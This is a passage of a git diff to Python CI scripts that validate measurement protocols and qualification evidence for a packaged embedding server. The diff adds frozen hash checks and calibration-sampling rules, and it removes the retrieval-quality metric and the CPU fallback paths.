) + rules = protocol.get("measurement_rules") + require( + isinstance(rules, dict) + and rules.get("calibration_and_qualification_are_distinct") is True + and rules.get("constants_frozen_before_qualification") is True + and rules.get("missing_required_cell_fails") is True + and rules.get("calibration_runs_full_qualification") is False + and rules.get("qualification_runs_once_per_available_gpu_platform") is True + and rules.get("optional_quality_adjunct_is_nonblocking") is True + and rules.get("quality_is_not_a_qualification_metric") is True + and rules.get("threshold_movement_after_results") is False, + "calibration and qualification boundary is incomplete or mutable", + ) clock_policy = protocol.get("clock_policy") suspend = ( clock_policy.get("suspend_detection") diff --git a/.github/scripts/packaged_agent_proof/measurement_protocol.py b/.github/scripts/packaged_agent_proof/measurement_protocol.py index 8486cc544..b1ee12ca2 100644 --- a/.github/scripts/packaged_agent_proof/measurement_protocol.py +++ b/.github/scripts/packaged_agent_proof/measurement_protocol.py @@ -22,6 +22,7 @@ ) from .measurement_protocol_validation import ( _measurement_document, + _verify_calibration_sampling, _verify_measurement_matrices, _verify_measurement_sampling, _verify_scenario_and_metric_contracts, @@ -33,6 +34,7 @@ def load_measurement_protocol(path: Path) -> tuple[dict, str]: required_metrics, metric_contracts = _verify_scenario_and_metric_contracts(protocol) _verify_measurement_matrices(protocol) _verify_measurement_sampling(protocol, required_metrics, metric_contracts) + _verify_calibration_sampling(protocol, required_metrics) _verify_constant_selection(protocol) _verify_thresholds_and_clock(protocol) return protocol, sha256(path) diff --git a/.github/scripts/packaged_agent_proof/measurement_protocol_validation.py b/.github/scripts/packaged_agent_proof/measurement_protocol_validation.py index f4fbeff6f..424f1f9c1 100644 --- a/.github/scripts/packaged_agent_proof/measurement_protocol_validation.py +++ b/.github/scripts/packaged_agent_proof/measurement_protocol_validation.py @@ -6,20 +6,47 @@ from pathlib import Path from .contract_primitives import ( + canonical_sha256, require_exact_keys, require_nonempty_string, require_positive_int, ) from .foundation import ( LOWER_TIER_NONCLAIMS, - MIN_RETRIEVAL_QUALITY_REPEATS, QUALIFICATION_SCHEMA_VERSION, + REQUIRED_QUALIFICATION_METRICS, + REQUIRED_SERVER_SCENARIO_ASSERTIONS, REQUIRED_SERVER_SCENARIOS, - RETRIEVAL_QUALITY_EVIDENCE_CONTRACT, ProofFailure, require, ) +QUALIFICATION_MEASUREMENT_SHAPE_FIELDS = ( + "required_scenarios", + "scenario_contracts", + "required_metrics", + "phase_boundaries", + "workloads", + "metric_sampling", + "metric_contracts", + "calibration_required_metrics", + "calibration_phase_boundaries", + "calibration_metric_sampling", + "calibration_workload_state_overrides", +) +EXPECTED_QUALIFICATION_MEASUREMENT_SHAPE_SHA256 = ( + "bc78e8c0277062f1274b0ed97e9bafbef2574b2d1934cb6ab89e7f514900fef8" +) + + +def qualification_measurement_shape_sha256(protocol: dict) -> str: + return canonical_sha256( + { + field: protocol.get(field) + for field in QUALIFICATION_MEASUREMENT_SHAPE_FIELDS + } + ) + def _measurement_document(path: Path) -> dict: require(path.is_file(), f"measurement protocol is missing: {path}") @@ -36,6 +63,11 @@ def _measurement_document(path: Path) -> dict: def _verify_scenario_and_metric_contracts(protocol: dict) -> tuple[set[str], dict]: + require( + qualification_measurement_shape_sha256(protocol) + == EXPECTED_QUALIFICATION_MEASUREMENT_SHAPE_SHA256, + "frozen-candidate qualification measurement shape changed", + ) require( set(protocol.get("required_scenarios", [])) == REQUIRED_SERVER_SCENARIOS, "measurement protocol does not name the complete server scenario set", @@ -59,11 +91,19 @@ def _verify_scenario_and_metric_contracts(protocol: dict) -> tuple[set[str], dic ), f"measurement scenario {scenario} assertion contract is malformed", ) + require( + set(contract["required"]) == REQUIRED_SERVER_SCENARIO_ASSERTIONS[scenario], + f"measurement scenario {scenario} assertion set changed", + ) require( set(protocol.get("required_lower_tier_nonclaims", [])) == LOWER_TIER_NONCLAIMS, "measurement protocol does not name the complete lower-tier nonclaim set", ) required_metrics = set(protocol.get("required_metrics", [])) + require( + required_metrics == REQUIRED_QUALIFICATION_METRICS, + "frozen-candidate qualification metric set must remain lifecycle-only", + ) phase_boundaries = protocol.get("phase_boundaries") require( isinstance(phase_boundaries, dict) @@ -77,6 +117,11 @@ def _verify_scenario_and_metric_contracts(protocol: dict) -> tuple[set[str], dic and all(isinstance(event, str) and event for event in boundaries), f"measurement metric {metric} must have exact start and end events", ) + require( + phase_boundaries["true_idle_exit"] + == ["final_product_request_completed", "engine_and_server_absent"], + "true-idle qualification must start at final product completion", + ) metric_contracts = protocol.get("metric_contracts") require( isinstance(metric_contracts, dict) @@ -118,14 +163,6 @@ def _verify_scenario_and_metric_contracts(protocol: dict) -> tuple[set[str], dic def _verify_host_package_matrix(matrix: dict) -> None: expected_cells = { - "hosted_linux_x64_cpu": ( - "linux-x64", - "hosted_package", - "github_hosted_linux_x64", - "cpu_explicit", - "cpu", - "none", - ), "protected_macos_arm64_metal": ( "macos-arm64", "protected_hardware", @@ -195,15 +232,15 @@ def _verify_host_package_matrix(matrix: dict) -> None: ) -def _verify_calibration_matrix(matrix: dict, calibration_matrix: object) -> None: +def _verify_calibration_matrix( + matrix: dict, + calibration_matrix: object, + optional_evidence_matrix: object, +) -> None: require( isinstance(calibration_matrix, dict) - and set(calibration_matrix) - == { - "hosted_linux_x64_cpu", - "protected_macos_arm64_metal", - }, - "measurement calibration matrix must contain the Linux CPU and macOS Metal pre-publish lanes", + and set(calibration_matrix) == {"protected_macos_arm64_metal"}, + "measurement calibration matrix must contain only protected macOS Metal", ) for cell_id, cell in calibration_matrix.items(): require( @@ -240,6 +277,48 @@ def _verify_calibration_matrix(matrix: dict, calibration_matrix: object) -> None ), f"measurement calibration matrix cell {cell_id} does not use its exact qualification path", ) + require( + isinstance(optional_evidence_matrix, dict) + and set(optional_evidence_matrix) == {"protected_linux_x64_vulkan"}, + "optional calibration evidence must contain only protected Linux Vulkan", + ) + for cell_id, cell in optional_evidence_matrix.items(): + require( + isinstance(cell, dict) + and set(cell) + == { + "asset_target", + "proof_tier", + "host_class", + "policy", + "backend", + "cache_state", + "residency_state", + "accelerator_claim", + "feeds_constant_selection", + } + and cell["proof_tier"] == "calibration" + and cell["cache_state"] == "reused" + and cell["residency_state"] == "resident" + and cell["feeds_constant_selection"] is False, + f"optional calibration evidence cell {cell_id} is malformed", + ) + qualification_cell = matrix[cell_id] + require( + all( + cell[field] == qualification_cell[field] + for field in ( + "asset_target", + "host_class", + "policy", + "backend", + "cache_state", + "residency_state", + "accelerator_claim", + ) + ), + f"optional calibration evidence cell {cell_id} does not use its exact qualification path", + ) def _verify_measurement_matrices(protocol: dict) -> None: @@ -248,7 +327,74 @@ def _verify_measurement_matrices(protocol: dict) -> None: isinstance(matrix, dict), "measurement protocol omitted its host/package matrix" ) _verify_host_package_matrix(matrix) - _verify_calibration_matrix(matrix, protocol.get("calibration_matrix")) + _verify_calibration_matrix( + matrix, + protocol.get("calibration_matrix"), + protocol.get("optional_calibration_evidence_matrix"), + ) + + +def _verify_calibration_sampling( + protocol: dict, + required_metrics: set[str], +) -> None: + expected_metrics = { + "existing_owner_connect", + "spawn_convergence", + "cold_first_vector", + "first_product_ready", + "warm_query_ipc", + "warm_bulk_ipc", + "bulk_documents_per_second", + "bulk_tokens_per_second", + "busy_retry_usefulness", + } + calibration_metrics = protocol.get("calibration_required_metrics") + require( + isinstance(calibration_metrics, list) + and len(calibration_metrics) == len(set(calibration_metrics)) + and set(calibration_metrics) == expected_metrics + and set(calibration_metrics).issubset(required_metrics), + "constant calibration must name exactly the nine runtime-constant source metrics", + ) + sampling = protocol.get("calibration_metric_sampling") + require( + isinstance(sampling, dict) and set(sampling) == expected_metrics, + "constant-calibration sample policy does not match its required metrics", + ) + for metric, policy in sampling.items(): + require( + isinstance(policy, dict) + and policy == {"sample_count_per_run": 1}, + f"constant-calibration metric {metric} must take one sample per clean run", + ) + boundaries = protocol.get("calibration_phase_boundaries") + require( + isinstance(boundaries, dict) and set(boundaries) == expected_metrics, + "constant calibration must declare phase boundaries for exactly its nine metrics", + ) + for metric, points in boundaries.items(): + require( + isinstance(points, list) + and len(points) == 2 + and all(isinstance(point, str) and point for point in points), + f"constant-calibration metric {metric} has malformed phase boundaries", + ) + if metric != "cold_first_vector": + require( + points == protocol["phase_boundaries"][metric], + f"constant-calibration metric {metric} changed its shared phase boundary", + ) + require( + boundaries["cold_first_vector"] + == [ + "product_request_started_with_fresh_owner_model_absent", + "first_vector_and_engine_evidence_validated", + ] + and protocol.get("calibration_workload_state_overrides") + == {"cold_first_vector": "fresh_owner_model_absent"}, + "constant calibration must measure cold-first-vector on the fresh owner before model materialization", + ) def _verify_measurement_sampling( @@ -278,6 +424,11 @@ def _verify_measurement_sampling( workload.get("input_generator"), f"measurement workload {metric}.input_generator", ) + require( + workloads["true_idle_exit"].get("workload_id") + == "true_idle_after_product_completion_60000_awake_ms_v2", + "true-idle qualification workload changed its product-completion boundary", + ) sampling = protocol.get("metric_sampling") require( isinstance(sampling, dict) and set(sampling) == required_metrics, @@ -295,15 +446,7 @@ def _verify_measurement_sampling( policy.get("aggregation"), f"measurement sample policy {metric}.aggregation", ) - if metric == "retrieval_quality": - require( - count == MIN_RETRIEVAL_QUALITY_REPEATS - and aggregation == "all_rows_pass_rate" - and policy.get("external_contract") - == RETRIEVAL_QUALITY_EVIDENCE_CONTRACT, - "retrieval quality sample policy changed", - ) - elif metric in { + if metric in { "true_idle_exit", "backend_observed_accelerator_residency", }: @@ -318,8 +461,7 @@ def _verify_measurement_sampling( "greater_than_or_equal": "minimum", "equal": "exact", }[metric_contracts[metric]["comparison"]] - if metric != "retrieval_quality": - require( - aggregation == expected_aggregation, - f"measurement metric {metric} aggregation is not conservative", - ) + require( + aggregation == expected_aggregation, + f"measurement metric {metric} aggregation is not conservative", + ) diff --git a/.github/scripts/packaged_agent_proof/measurement_samples.py b/.github/scripts/packaged_agent_proof/measurement_samples.py index 26e458470..22c7a6b40 100644 --- a/.github/scripts/packaged_agent_proof/measurement_samples.py +++ b/.github/scripts/packaged_agent_proof/measurement_samples.py @@ -310,23 +310,6 @@ def _memory_metric_value(operands: dict) -> int: return total -def _retrieval_quality_value(operands: dict) -> int: - require_exact_keys( - operands, - {"publishable_packet_pass", "raw_artifact_sha256"}, - "qualification retrieval quality operands", - ) - require_sha256( - operands["raw_artifact_sha256"], - "qualification retrieval quality raw artifact sha256", - ) - require( - operands["publishable_packet_pass"] is True, - "qualification retrieval quality sample did not pass", - ) - return 1 - - def _accelerator_residency_value( operands: dict, *, @@ -375,12 +358,6 @@ def _accelerator_residency_value( and tensor_count > 0 and tensor_bytes > 0 and offloaded == model_layers - ) or ( - expected_policy == "cpu_explicit" - and operands["accelerator_execution_verified"] is False - and tensor_count == 0 - and tensor_bytes == 0 - and offloaded == 0 ) require( valid, @@ -421,8 +398,6 @@ def qualification_measurement_sample_value( return _throughput_metric_value(metric, operands, awake_delta) if metric == "total_codestory_process_memory": return _memory_metric_value(operands) - if metric == "retrieval_quality": - return _retrieval_quality_value(operands) require( metric == "backend_observed_accelerator_residency", f"qualification measurement verifier omitted metric {metric}", diff --git a/.github/scripts/packaged_agent_proof/native_contract_identity.py b/.github/scripts/packaged_agent_proof/native_contract_identity.py index 74e0624ca..84c0ce273 100644 --- a/.github/scripts/packaged_agent_proof/native_contract_identity.py +++ b/.github/scripts/packaged_agent_proof/native_contract_identity.py @@ -291,31 +291,18 @@ def verify_engine_identities_against_manifest( policy == expected_policy, "runtime policy does not match the requested proof lane", ) - if policy == "accelerated": - expected_backend = accelerator.get("expected_protected_backend") - require( - isinstance(expected_backend, str) and bool(expected_backend), - "this package target has no protected accelerator execution claim", - ) - require( - observed_backend == expected_backend, - "runtime accelerator backend does not match the protected package contract", - ) - execution = "proven_by_live_runtime" - non_claim_reason = None - else: - require( - policy == "cpu_explicit", - "runtime used neither protected acceleration nor explicit CPU", - ) - require( - observed_backend == "cpu", "explicit CPU proof selected a non-CPU backend" - ) - execution = "explicit_cpu_execution" - non_claim_reason = ( - accelerator.get("non_claim_reason") - or "explicit_cpu_execution_does_not_prove_acceleration" - ) + require(policy == "accelerated", "runtime proof requires accelerated embeddings") + expected_backend = accelerator.get("expected_protected_backend") + require( + isinstance(expected_backend, str) and bool(expected_backend), + "this package target has no protected accelerator execution claim", + ) + require( + observed_backend == expected_backend, + "runtime accelerator backend does not match the protected package contract", + ) + execution = "proven_by_live_runtime" + non_claim_reason = None return { "build_identity": engine["build_identity"], diff --git a/.github/scripts/packaged_agent_proof/native_manifest.py b/.github/scripts/packaged_agent_proof/native_manifest.py index 607a959e3..6f66cb00b 100644 --- a/.github/scripts/packaged_agent_proof/native_manifest.py +++ b/.github/scripts/packaged_agent_proof/native_manifest.py @@ -446,8 +446,8 @@ def _verify_model( def _verify_accelerator(parts: ManifestParts, target_contract: dict) -> None: accelerator = parts.accelerator require( - accelerator.get("cpu_fallback") == "explicit_only", - "native manifest permits implicit CPU fallback", + accelerator.get("cpu_fallback") == "unsupported", + "native manifest permits CPU fallback", ) require( accelerator.get("package_claim") == "compiled_capability_only", diff --git a/.github/scripts/packaged_agent_proof/package_contracts.py b/.github/scripts/packaged_agent_proof/package_contracts.py index f9b774db6..6c78288f6 100644 --- a/.github/scripts/packaged_agent_proof/package_contracts.py +++ b/.github/scripts/packaged_agent_proof/package_contracts.py @@ -8,6 +8,7 @@ from .contract_primitives import ( require_exact_keys, require_nonempty_string, + require_positive_int, require_sha256, ) from .foundation import SERVER_LIFECYCLES, require @@ -132,6 +133,31 @@ def verify_package_server_contracts( isinstance(thresholds, dict) and set(thresholds) == required_metrics, "embedding server qualification thresholds do not match the measurement metrics", ) + fixed = constant_set.get("fixed_contract_values") + threshold_contract = measurement.get("qualification_threshold_contract", {}).get( + "true_idle_exit" + ) + require( + isinstance(fixed, dict) + and isinstance(threshold_contract, dict) + and require_positive_int( + fixed.get("idle_timeout_ms"), + "fixed per-user embedding idle timeout", + ) + == threshold_contract["idle_timeout_ms"] + and require_positive_int( + fixed.get("true_idle_observation_grace_ms"), + "fixed true-idle observation grace", + ) + == threshold_contract["observation_grace_ms"] + and thresholds.get("true_idle_exit") + == threshold_contract["required_threshold_ms"] + == ( + threshold_contract["idle_timeout_ms"] + + threshold_contract["observation_grace_ms"] + ), + "true-idle qualification threshold must be the fixed product timeout plus observation grace", + ) if require_frozen: _verify_frozen_constant_set(measurement, constant_set) return contract diff --git a/.github/scripts/packaged_agent_proof/qualification_metrics.py b/.github/scripts/packaged_agent_proof/qualification_metrics.py index 51892e664..885b77b03 100644 --- a/.github/scripts/packaged_agent_proof/qualification_metrics.py +++ b/.github/scripts/packaged_agent_proof/qualification_metrics.py @@ -14,9 +14,9 @@ from .foundation import require from .qualification_measurements import qualification_measurement_artifact from .qualification_production_types import ( - QualificationExternalEvidence, QualificationProducerContext, QualificationRunnerEvidence, + QualificationScenarioEvidence, ) from .runtime_evidence_support import metric_passes from .runtime_memory import retain_five_process_memory_evidence @@ -64,17 +64,35 @@ def _qualification_measurement_sources( return measurement, memory +def _qualification_cache_state_from_scenarios( + runner: QualificationRunnerEvidence, + scenarios: QualificationScenarioEvidence, +) -> str: + cache_state = require_nonempty_string( + runner.matrix_cell.get("cache_state"), + "qualification matrix cache state", + ) + if cache_state == "reused": + true_idle = scenarios.scenarios.get("true_idle_respawn") + assertions = ( + true_idle.get("assertions") if isinstance(true_idle, dict) else None + ) + require( + isinstance(assertions, dict) + and assertions.get("verified_materialization_reused") is True, + "qualification reused cache state lacks validated replacement reuse evidence", + ) + return cache_state + + def _qualification_host( context: QualificationProducerContext, runner: QualificationRunnerEvidence, measurement: dict, + *, + cache_state: str, ) -> dict: identity = context.runtime["identity"] - cache_state = ( - "reused" - if context.runtime["materialization"]["reused_on_rejoin"] is True - else "materialized" - ) residency_state = require_nonempty_string( identity["embedding_engine_residency"], "runtime engine residency", @@ -108,16 +126,9 @@ def _qualification_host( def _qualification_metric_value( metric: str, *, - external: QualificationExternalEvidence, measurement: dict, memory: dict, ) -> float | int | None: - if metric == "retrieval_quality": - return ( - external.retrieval_quality["publishable_packet_pass_rate"] - if external.retrieval_quality is not None - else None - ) if metric == "total_codestory_process_memory": return memory["value"] return measurement["values"][metric] @@ -126,16 +137,9 @@ def _qualification_metric_value( def _qualification_raw_metric_evidence( metric: str, *, - external: QualificationExternalEvidence, measurement: dict, memory: dict, ) -> dict: - if metric == "retrieval_quality": - require( - external.retrieval_quality is not None, - "qualification retrieval quality omitted publishable packet evidence", - ) - return external.retrieval_quality if metric == "total_codestory_process_memory": return memory["artifact"] return measurement["artifact"] @@ -145,7 +149,6 @@ def _retained_qualification_metric( metric: str, *, context: QualificationProducerContext, - external: QualificationExternalEvidence, measurement: dict, memory: dict, ) -> dict: @@ -153,31 +156,15 @@ def _retained_qualification_metric( contract = protocol["metric_contracts"][metric] value = _qualification_metric_value( metric, - external=external, measurement=measurement, memory=memory, ) - if metric == "retrieval_quality" and value is None: - require( - context.args.proof_tier == "calibration", - "qualification retrieval quality omitted publishable packet evidence", - ) - return { - "status": "not_measured", - "unit": contract["unit"], - "value": None, - "reason": ( - "calibration omitted the separately produced exact-head " - "publishable packet artifact" - ), - } require( isinstance(value, (int, float)) and not isinstance(value, bool), f"qualification metric {metric} is not numeric", ) raw_evidence = _qualification_raw_metric_evidence( metric, - external=external, measurement=measurement, memory=memory, ) @@ -213,9 +200,13 @@ def _retained_qualification_metric( def collect_qualification_measurements( context: QualificationProducerContext, runner: QualificationRunnerEvidence, - external: QualificationExternalEvidence, + scenarios: QualificationScenarioEvidence, ) -> QualificationMeasurementEvidence: measurement, memory = _qualification_measurement_sources(context, runner) + cache_state = _qualification_cache_state_from_scenarios( + runner, + scenarios, + ) timing = { "clock_domain": "awake_monotonic", "cross_process_timestamp_subtraction": False, @@ -229,7 +220,6 @@ def collect_qualification_measurements( metric: _retained_qualification_metric( metric, context=context, - external=external, measurement=measurement, memory=memory, ) @@ -241,6 +231,11 @@ def collect_qualification_measurements( measurement, memory, timing, - _qualification_host(context, runner, measurement), + _qualification_host( + context, + runner, + measurement, + cache_state=cache_state, + ), metrics, ) diff --git a/.github/scripts/packaged_agent_proof/qualification_output.py b/.github/scripts/packaged_agent_proof/qualification_output.py index fa0951b6c..76dbb5a20 100644 --- a/.github/scripts/packaged_agent_proof/qualification_output.py +++ b/.github/scripts/packaged_agent_proof/qualification_output.py @@ -1,17 +1,12 @@ -"""Retained and calibration-run outputs for qualification production.""" +"""Retained outputs for frozen-candidate qualification production.""" from __future__ import annotations -import json - from .contract_primitives import ( assert_retained_json_privacy, - canonical_sha256, - require_positive_int, write_private_json, ) -from .foundation import LOWER_TIER_NONCLAIMS, require -from .native_manifest import runtime_executable_sha256 +from .foundation import LOWER_TIER_NONCLAIMS from .qualification_metrics import QualificationMeasurementEvidence from .qualification_production_types import ( QualificationProducerContext, @@ -66,93 +61,6 @@ def retained_qualification_output( return retained -def _calibration_memory_samples(memory: dict) -> list[dict]: - samples = [] - for sample in memory["payload"]["samples"]: - normalized = json.loads(json.dumps(sample)) - normalized["process"] = normalized.pop("producer_process") - samples.append(normalized) - return samples - - -def calibration_run_output( - context: QualificationProducerContext, - runner: QualificationRunnerEvidence, - measurements: QualificationMeasurementEvidence, -) -> dict: - run_index = require_positive_int( - context.args.calibration_run_index, - "--calibration-run-index", - ) - require( - run_index <= 3, - "--calibration-run-index must be in the preregistered range 1..3", - ) - identity = context.runtime["identity"] - package = { - "archive_sha256": context.archive_sha256, - "executable_sha256": runtime_executable_sha256(context.manifest), - "asset_target": context.manifest["asset_target"], - "release_version": context.manifest["release_version"], - "model_sha256": identity["embedding_model_sha256"], - "policy": context.args.engine_policy, - "backend": runner.expected_backend, - } - contracts = { - "protocol_sha256": context.measurement_contract["protocol_sha256"], - "measurement_protocol_sha256": context.measurement_contract[ - "measurement_protocol_sha256" - ], - "input_constant_set_sha256": context.measurement_contract[ - "constant_set_sha256" - ], - } - metrics = json.loads(json.dumps(measurements.measurement["payload"]["metrics"])) - metrics["total_codestory_process_memory"] = { - "unit": "bytes", - "samples": _calibration_memory_samples(measurements.memory), - } - identity_seed = { - "source": context.manifest["source"], - "package": package, - "matrix_cell_id": runner.matrix_cell_id, - "run_index": run_index, - "host_fingerprint": measurements.host["fingerprint"], - "measurement_artifact_sha256": measurements.measurement["artifact"]["sha256"], - "memory_artifact_sha256": measurements.memory["artifact"]["sha256"], - } - run_id = canonical_sha256(identity_seed) - raw_payload = { - "schema_version": 1, - "run_id_sha256": run_id, - "matrix_cell_id": runner.matrix_cell_id, - "run_index": run_index, - "host_fingerprint": measurements.host["fingerprint"], - "source": context.manifest["source"], - "contracts": contracts, - "package": package, - "clean": context.manifest["source"]["tracked_dirty"] is False, - "unplanned_suspend": measurements.measurement["unplanned_suspend"], - "metrics": metrics, - } - return { - "run_id_sha256": run_id, - "matrix_cell_id": runner.matrix_cell_id, - "run_index": run_index, - "host_fingerprint": measurements.host["fingerprint"], - "clean": raw_payload["clean"], - "unplanned_suspend": raw_payload["unplanned_suspend"], - "source": context.manifest["source"], - "contracts": contracts, - "package": package, - "raw_artifact": { - "name": "measurements.raw.json", - "sha256": canonical_sha256(raw_payload), - "payload": raw_payload, - }, - } - - def write_qualification_outputs( context: QualificationProducerContext, runner: QualificationRunnerEvidence, @@ -173,12 +81,4 @@ def write_qualification_outputs( *context.runtime.get("_qualification_forbidden_values", []), ], ) - if ( - context.args.proof_tier == "calibration" - and context.args.calibration_run_output is not None - ): - write_private_json( - context.args.calibration_run_output, - calibration_run_output(context, runner, measurements), - ) return retained diff --git a/.github/scripts/packaged_agent_proof/qualification_producer_setup.py b/.github/scripts/packaged_agent_proof/qualification_producer_setup.py index c552db0b6..369aa09eb 100644 --- a/.github/scripts/packaged_agent_proof/qualification_producer_setup.py +++ b/.github/scripts/packaged_agent_proof/qualification_producer_setup.py @@ -9,7 +9,7 @@ from .contract_primitives import sha256 from .failure_evidence import register_failure_evidence_secret -from .foundation import RETRIEVAL_QUALITY_EVIDENCE_CONTRACT, ProofFailure, require +from .foundation import require from .native_manifest import runtime_executable_sha256 from .publication_consistency_verifier import ( verify_fault_recovery_consistency_raw_evidence, @@ -20,7 +20,6 @@ QualificationExternalEvidence, QualificationProducerContext, ) -from .runtime_retrieval_quality import verify_retrieval_quality_raw_evidence def prepare_qualification_producer( @@ -150,20 +149,7 @@ def collect_qualification_external_evidence( package=context.package, contracts=context.contracts, ) - retrieval_quality = None - if args.retrieval_quality_evidence is not None: - retrieval_quality = verify_retrieval_quality_raw_evidence( - args.retrieval_quality_evidence, - source=context.manifest["source"], - ) - elif args.proof_tier != "calibration": - raise ProofFailure( - f"{args.proof_tier} qualification requires " - "--retrieval-quality-evidence " - f"from {RETRIEVAL_QUALITY_EVIDENCE_CONTRACT}" - ) return QualificationExternalEvidence( publication_fault, consistency, - retrieval_quality, ) diff --git a/.github/scripts/packaged_agent_proof/qualification_production_types.py b/.github/scripts/packaged_agent_proof/qualification_production_types.py index e4f2a1567..35895d223 100644 --- a/.github/scripts/packaged_agent_proof/qualification_production_types.py +++ b/.github/scripts/packaged_agent_proof/qualification_production_types.py @@ -36,7 +36,6 @@ def forbidden_values(self) -> list[str]: class QualificationExternalEvidence: publication_fault: dict fault_recovery_consistency: dict | None - retrieval_quality: dict | None @dataclass(frozen=True) diff --git a/.github/scripts/packaged_agent_proof/qualification_recording.py b/.github/scripts/packaged_agent_proof/qualification_recording.py index 850b0d941..54c0af64a 100644 --- a/.github/scripts/packaged_agent_proof/qualification_recording.py +++ b/.github/scripts/packaged_agent_proof/qualification_recording.py @@ -67,25 +67,6 @@ def record_retained_qualification( summary["package_contract"]["highest_proof_tier"] = args.proof_tier -def record_calibration_qualification( - args: argparse.Namespace, - summary: dict[str, object], -) -> None: - if args.qualification_evidence is None or not args.qualification_evidence.is_file(): - return - calibration = load_evidence( - args.qualification_evidence, - "calibration evidence", - ) - require( - calibration.get("schema_version") == 1 - and calibration.get("status") == "calibration" - and calibration.get("tier") == "calibration", - "calibration evidence has the wrong schema, status, or tier", - ) - summary["qualification"] = calibration - - def record_qualification_contract( args: argparse.Namespace, summary: dict[str, object], @@ -121,9 +102,11 @@ def record_qualification_contract( } summary["package_contract"]["release_readiness_claim"] = True summary["package_contract"]["highest_proof_tier"] = args.proof_tier - elif args.proof_tier == "calibration": - record_calibration_qualification(args, summary) else: + require( + args.proof_tier != "calibration", + "constant calibration cannot enter frozen-candidate qualification recording", + ) record_retained_qualification( args, summary, diff --git a/.github/scripts/packaged_agent_proof/qualification_retained_metrics.py b/.github/scripts/packaged_agent_proof/qualification_retained_metrics.py index fa12b80e1..a18185c23 100644 --- a/.github/scripts/packaged_agent_proof/qualification_retained_metrics.py +++ b/.github/scripts/packaged_agent_proof/qualification_retained_metrics.py @@ -7,17 +7,19 @@ from .contract_primitives import ( require_exact_keys, require_nonempty_string, - require_positive_int, require_sha256, ) from .foundation import ( LOWER_TIER_NONCLAIMS, - MIN_RETRIEVAL_QUALITY_REPEATS, - RELEASE_QUALITY_CORPUS_ID, + REQUIRED_QUALIFICATION_METRICS, + REQUIRED_SERVER_SCENARIO_ASSERTIONS, REQUIRED_SERVER_SCENARIOS, - RETRIEVAL_QUALITY_EVIDENCE_CONTRACT, require, ) +from .measurement_protocol_validation import ( + EXPECTED_QUALIFICATION_MEASUREMENT_SHAPE_SHA256, + qualification_measurement_shape_sha256, +) from .qualification_retained_types import ( RetainedMeasurementBinding, RetainedMetric, @@ -52,13 +54,26 @@ def _verified_scenario_artifact_names(scenario_id: str, artifacts: object) -> se def _verify_scenarios(contract: RetainedQualificationContract) -> None: scenarios = contract.evidence.scenarios - scenario_contracts = contract.measurement_contract["measurement_protocol"][ - "scenario_contracts" - ] + protocol = contract.measurement_contract["measurement_protocol"] + scenario_contracts = protocol["scenario_contracts"] + require( + qualification_measurement_shape_sha256(protocol) + == EXPECTED_QUALIFICATION_MEASUREMENT_SHAPE_SHA256, + "retained qualification measurement shape changed", + ) require( set(scenarios) == REQUIRED_SERVER_SCENARIOS, "retained qualification scenario set is incomplete", ) + require( + set(scenario_contracts) == REQUIRED_SERVER_SCENARIOS + and all( + set(scenario_contracts[scenario_id]["required"]) + == REQUIRED_SERVER_SCENARIO_ASSERTIONS[scenario_id] + for scenario_id in REQUIRED_SERVER_SCENARIOS + ), + "retained qualification scenario assertion contracts changed", + ) for scenario_id in sorted(REQUIRED_SERVER_SCENARIOS): scenario = scenarios.get(scenario_id) require(isinstance(scenario, dict), f"scenario {scenario_id} is malformed") @@ -114,6 +129,10 @@ def _normalized_retained_metrics( metrics = contract.evidence.metrics protocol = contract.measurement_contract["measurement_protocol"] required_metrics = set(protocol["required_metrics"]) + require( + required_metrics == REQUIRED_QUALIFICATION_METRICS, + "retained qualification metric contract must remain lifecycle-only", + ) require( set(metrics) == required_metrics, "retained qualification metric set is incomplete", @@ -153,11 +172,7 @@ def _normalized_retained_metrics( raw_evidence = result.get("raw_evidence") require( isinstance(raw_evidence, dict), - ( - "retrieval quality metric omitted raw evidence" - if metric == "retrieval_quality" - else f"metric {metric} omitted its raw measurement artifact" - ), + f"metric {metric} omitted its raw measurement artifact", ) normalized.append( RetainedMetric(metric, value, threshold, comparison, raw_evidence) @@ -165,80 +180,6 @@ def _normalized_retained_metrics( return tuple(normalized) -def _verify_retrieval_quality_metric( - contract: RetainedQualificationContract, - metric: RetainedMetric, -) -> None: - raw_evidence = metric.raw_evidence - require_exact_keys( - raw_evidence, - { - "artifact", - "evaluation_contract", - "source_commit", - "source_tree", - "corpus_id", - "holdout_manifest_set_sha256", - "repeats", - "row_count", - "passing_row_count", - "publishable_packet_pass_rate", - }, - "retrieval quality retained raw evidence", - ) - artifact = raw_evidence["artifact"] - require(isinstance(artifact, dict), "retrieval quality raw artifact is malformed") - require_exact_keys(artifact, {"name", "sha256"}, "retrieval quality raw artifact") - require( - artifact["name"] == "packet-runtime-summary.json", - "retrieval quality raw artifact name is invalid", - ) - require_sha256(artifact["sha256"], "retrieval quality raw artifact sha256") - require( - raw_evidence["evaluation_contract"] == RETRIEVAL_QUALITY_EVIDENCE_CONTRACT, - "retrieval quality retained evaluation contract changed", - ) - require( - raw_evidence["source_commit"] == contract.evidence.source["commit"] - and raw_evidence["source_tree"] == contract.evidence.source["tree"], - "retrieval quality retained source identity is stale", - ) - require( - require_positive_int(raw_evidence["repeats"], "retrieval quality repeats") - == MIN_RETRIEVAL_QUALITY_REPEATS, - "retrieval quality retained the wrong repeat count", - ) - require( - raw_evidence["corpus_id"] == RELEASE_QUALITY_CORPUS_ID, - "retrieval quality retained the wrong holdout corpus", - ) - require_sha256( - raw_evidence["holdout_manifest_set_sha256"], - "retrieval quality holdout manifest set sha256", - ) - row_count = require_positive_int( - raw_evidence["row_count"], - "retrieval quality row count", - ) - require( - require_positive_int( - raw_evidence["passing_row_count"], - "retrieval quality passing row count", - ) - == row_count, - "retrieval quality retained a failing row", - ) - pass_rate = raw_evidence["publishable_packet_pass_rate"] - require( - isinstance(pass_rate, (int, float)) and not isinstance(pass_rate, bool), - "retrieval quality pass rate is not numeric", - ) - require( - pass_rate == metric.value, - "retrieval quality metric does not match its raw evidence", - ) - - def _verify_measurement_metric(metric: RetainedMetric) -> None: require_exact_keys( metric.raw_evidence, @@ -265,10 +206,7 @@ def _verify_metrics( ) -> tuple[RetainedMetric, ...]: metrics = _normalized_retained_metrics(contract) for metric in metrics: - if metric.name == "retrieval_quality": - _verify_retrieval_quality_metric(contract, metric) - else: - _verify_measurement_metric(metric) + _verify_measurement_metric(metric) passed = { "equal": metric.value == metric.threshold, "greater_than_or_equal": metric.value >= metric.threshold, diff --git a/.github/scripts/packaged_agent_proof/qualification_retained_provenance.py b/.github/scripts/packaged_agent_proof/qualification_retained_provenance.py index 